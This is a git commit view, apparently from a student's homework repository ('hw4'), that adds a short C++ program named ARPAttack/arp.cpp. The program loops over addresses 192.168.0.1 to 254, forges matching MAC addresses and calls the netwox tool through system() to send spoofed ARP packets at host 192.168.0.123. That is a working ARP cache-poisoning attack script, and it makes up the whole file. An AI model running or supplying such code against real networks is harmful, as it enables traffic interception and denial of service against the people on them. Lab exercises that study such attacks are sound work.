Adding hw4
This commit is contained in:
parent
77880d6934
commit
8f11b93329
1 changed files with 19 additions and 0 deletions
19
hw4/ARPAttack/arp.cpp
Executable file
19
hw4/ARPAttack/arp.cpp
Executable file
|
@ -0,0 +1,19 @@
|
||||||
|
#include <iostream>
|
||||||
|
#include <cstdlib>
|
||||||
|
|
||||||
|
using namespace std;
|
||||||
|
|
||||||
|
int main()
|
||||||
|
{
|
||||||
|
char add[50];
|
||||||
|
char ethadd[50];
|
||||||
|
char arppoison[1000];
|
||||||
|
|
||||||
|
for(int i = 1; i < 255; ++i)
|
||||||
|
{
|
||||||
|
sprintf(add, "192.168.0.%d", i);
|
||||||
|
sprintf(ethadd, "%x:%x:%x:%x:%x:%x",i,i,i,i,i,i);
|
||||||
|
sprintf(arppoison, "netwox 72 --ips \"192.168.0.123\" --device \"Eth0\" --src-eth %s --src-ip %s", ethadd, add);
|
||||||
|
system(arppoison);
|
||||||
|
}
|
||||||
|
}
|
Reference in a new issue